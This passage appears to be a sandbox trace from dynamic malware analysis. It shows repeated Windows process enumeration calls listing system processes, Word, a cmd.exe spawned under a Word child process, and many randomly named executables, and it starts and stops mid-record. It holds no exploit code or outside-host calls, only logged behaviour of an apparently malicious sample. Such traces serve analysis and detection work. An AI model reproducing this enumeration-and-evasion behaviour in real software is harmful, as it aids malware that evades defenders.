hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="WINWORD.EXE")) returned 1 [0059.734] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.734] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0059.735] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.735] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0059.736] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0059.736] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0059.737] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 0 [0059.737] CloseHandle (hObject=0x100) returned 1 [0059.737] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x100 [0059.738] Process32FirstW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0059.739] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0059.739] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0059.740] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.740] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0059.741] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.741] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0059.742] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0059.742] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0059.742] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0059.743] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.743] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.744] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.744] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.744] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.745] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0059.745] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.746] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.746] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0059.746] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.747] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.747] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0059.748] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0059.748] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.749] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.749] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.749] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.750] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0059.750] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0059.751] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0059.751] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0059.751] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0059.752] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0059.752] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0059.753] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0059.753] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0059.754] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0059.754] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0059.754] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0059.755] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0059.755] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0059.756] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0059.756] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0059.757] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0059.757] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0059.758] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0059.758] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0059.759] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0059.759] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="WINWORD.EXE")) returned 1 [0059.759] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.760] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0059.760] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.761] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0059.761] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0059.762] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0059.762] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 0 [0059.762] CloseHandle (hObject=0x100) returned 1 [0059.762] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x100 [0059.764] Process32FirstW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0059.764] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0059.765] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0059.765] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.765] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0059.766] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.766] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0059.767] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0059.767] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0059.767] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0059.768] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.768] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.769] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.769] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.769] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.770] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0059.770] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.771] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.771] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0059.771] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, 